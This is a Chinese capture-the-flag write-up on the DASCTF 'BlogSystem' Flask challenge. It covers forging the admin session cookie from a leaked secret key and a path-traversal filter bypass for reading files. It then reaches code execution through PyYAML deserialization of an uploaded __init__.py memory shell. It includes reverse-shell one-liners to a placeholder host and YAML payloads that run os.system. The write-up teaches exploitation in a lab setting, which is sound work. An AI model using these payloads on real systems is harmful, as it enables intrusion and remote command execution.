目录
DASCTF-2022十月-BlogSystem
获取源码
首先打开题目,是一个简单的页面,其中需要注意的是上面的三个功能Home,Login,register
先注册下,进入博客里
当然,注册的时候也需要简单进行ssti和sql注入的测试
发现多了几个功能,先都测试下,这个writeBlog我测试的时候没有发现太多的问题,修改密码也同样没有发现注入点
但是这个地方有一个文件上传点,前端校验,是可以绕过的。
后面就需要注意里面的博客内容了:
我们着重看关于flask
相关的内容,其中还有一个网鼎杯2022青龙组的题估计也是提示
在博客中我们主要是要观察网站的大体设计方式,有没有设计的不合理的地方,和敏感信息搜集两个部分。
敏感信息:flask密钥
app.secret_key = '7his_1s_my_fav0rite_ke7'
这时候我们再回到登录界面就会发现admin账号已经注册过了,很自然就想到cookie伪造登录admin账户。
flask_session_cookie_manager3.py
flask_session_cookie_manager的操作:
解密:
python .\flask_session_cookie_manager3.py decode -s 密钥 -c cookie
python .\flask_session_cookie_manager3.py decode -s 7his_1s_my_fav0rite_ke7 -c eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImxpYmVzdG9yIn0.Y1uokw.gH_7gH97IC6gw2CqaLULjQiMx2Y
加密:
python .\flask_session_cookie_manager3.py encode -s 密钥 -t "cookie内容"
python .\flask_session_cookie_manager3.py encode -s 7his_1s_my_fav0rite_ke7 -t "{'_permanent': True, 'username': 'admin'}"
然后修改cookie登录admin后发现多了一个功能Download功能:
打开后看到url中疑似有路径
进行测试验证:
?path=././././haipa.jpg
顺利得到图片,说明存在任意文件读取的漏洞,尝试读取/etc/passwd
?path=../../../../../../../../../etc/passwd
根据报错和发现..和//被过滤,然后复写绕过:
.//././/././/././/././/././/././/././/././/./etc/passwd
flask的web目录通常在app目录下
payload
?path=../../../../../../../../../app/app.py
额外发现
如下payload有可能打通,手动输入九个../
就可以触发这个payload。
/download?path=../../../../../../../../../app/app.py
这个不知道是什么情况,但确实能用,而且就算是作者复现的时候,也突然发现了这个bug
代码审计
app.py
首先查看app.py文件:
from flask import *
import config
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
app.register_blueprint(index, name='index')# 注册蓝图两个
app.register_blueprint(blog, name='blog')
@app.context_processor # 定义部分全局内容
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
一些全局设置和错误处理,没什么有用的
从中可以发现还有一个文件config.py
两个文件夹model
和view
config.py
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:root@localhost:3306/flask'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SQLALCHEMY_ECHO = True
MAX_CONTENT_LENGTH = 1 * 1024 * 1024
导入model和view的时候,人家大概率是软件包,所以可以尝试导入__init__.py
试一试
/view/__init__.py
from .index import index
from .blog import blog
/model/__init__.py
from .model import *
很明显,index.py和blog.py是存在,但是model下的文件未给出,估计大概率是model
(实测确实是),但是估计用不到模型,所以不必太计较这个,主要是查看框架的路由
view/index.py
源码:
from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_file
from werkzeug.security import check_password_hash
from decorators import login_limit, admin_limit #导入拦截登录器
from model import *
import os
index = Blueprint("index", __name__)
@index.route('/')
def hello():
return render_template('index.html')
@index.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')
if request.method == 'POST':
name = request.form.get('name')
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if user is not None:
flash("该用户名已存在")
return render_template('register.html')
else:
user = User(username=username, name=name)
user.password_hash(password)
db.session.add(user)
db.session.commit()
flash("注册成功!")
return render_template('register.html')
@index.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if (user is not None) and (check_password_hash(user.password, password)):
session['username'] = user.username
session.permanent = True
return redirect(url_for('index.hello'))
else:
flash("账号或密码错误")
return render_template('login.html')
@index.route("/updatePwd", methods=['POST', 'GET'])
@login_limit
def update():
if request.method == "GET":
return render_template("updatePwd.html")
if request.method == 'POST':
lodPwd = request.form.get("lodPwd")
newPwd1 = request.form.get("newPwd1")
newPwd2 = request.form.get("newPwd2")
username = session.get("username")
user = User.query.filter(User.username == username).first()
if check_password_hash(user.password, lodPwd):
if newPwd1 != newPwd2:
flash("两次新密码不一致!")
return render_template("updatePwd.html")
else:
user.password_hash(newPwd2)
db.session.commit()
flash("修改成功!")
return render_template("updatePwd.html")
else:
flash("原密码错误!")
return render_template("updatePwd.html")
@index.route('/download', methods=['GET'])
@admin_limit # 限制admin使用的
def download():
if request.args.get('path'):
path = request.args.get('path').replace('..', '').replace('//', '')
path = os.path.join('static/upload/', path)
if os.path.exists(path):
return send_file(path)
else:
return render_template('404.html', file=path)
return render_template('sayings.html',
yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')
@index.route('/logout')
def logout():
session.clear()
return redirect(url_for('index.hello'))
可以看出在Download路由下,明显是有过滤存在的,但是不知道为什么,有时候过滤不成功。
该文件完成正常的注册,登录,和修改操作,也有当前存在漏洞的Download路由,并且是admin
才可以使用的
view/blog.py
打开源码:
这个才是重要的文件
摘取部分有用的:
import os
import random
import re
import time
import yaml
from flask import Blueprint, render_template, request, session
from yaml import Loader
from decorators import login_limit, admin_limit
from model import *
blog = Blueprint("blog", __name__, url_prefix="/blog")
def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
try:
file = request.files.get('editormd-image-file')
fileName = file.filename.replace('..','')
filePath = os.path.join("static/upload/", fileName)
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:
with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)
这个最后的saying
路由有问题
此处如果直接进行反序列化RCE的话发现很困难,很多东西都被过滤了,所以我们考虑写入内存马,即一个可以执行命令的路由,虽然人家禁止我们在yaml中写入奇怪的东西,但是我们可以在其他地方上次文件,然后在这儿导入即可。
导入的时候,可以直接把upload文件夹当作一个软件包,然后我们写入__init__.py
就可以成功触发了。
python内存马:
from flask import *
eval("app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})# 生成一个shell路由,参数为shell
或者反弹shell
import os
os.system('bash -c "bash -i >& /dev/tcp/xxx/2333 0>&1"')
import os,pty,socket;s=socket.socket();s.connect(("xxx",2333));
[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
考虑到flask的特殊性,只能加载一次,如果反弹shell不能弹中,就G了(作者也给出了提示)所以我们直接写入内存马即可。
之后在上传处上传payload
上传的时候注意,Content-Type结束后,要空一行才开始写正文
然后接着上传yaml文件
最后访问
/blog/saying?path=static/upload/exp.yaml
然后显示鲁迅即可
下面验证这个内存马
/shell?shell=ls
最后成功获得flag
补充pyyaml反序列化
pyyaml≤5.1
当pyyaml小于5.1的时候利用非常简单,也是我们主要的思路来源
反序列化逻辑:
pyyaml反序列化主要的函数时yaml.load()
和yaml.dump()
两个,这两个默认使用的Loader
加载器,这个加载器时危险的
当调用加载器的时候,最后会传入两个由基本构造器BaseConstructor
所组成的SafeConstructor
和Constructor
,前者不支持类型转换,只是单纯的一个yaml构造器,但是后者时强大的,不只支持原版的yaml语法,也支持python独有的魔改,在里面可以调用很多库,引入很多模块。
python/object/apply
这个函数最终construct_python_object_apply()
中,然后导入这个库,接着就执行代码
import yaml
yaml.load("""
!!python/object/apply:os.system
- whoami
""")
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
python/object/new
python/object/new
和 python/object/apply
可以视为是完全等价的,payload和上面的apply一样,可以试一试。
python/module
这个函数时载入一个python模块,但是不能执行指令,通常时在可以控制上传点的时候,或者可以写入数据的时候使用的,用来载入危险指令,就像本文中的这个题目一样。
模块就是去掉py的文件名,或者一个软件包
python/name
使用方法同上面的,主要是用来获得模块下的某个特定的方法。
pyyaml>5.1后
更细致的可以去看文末的文章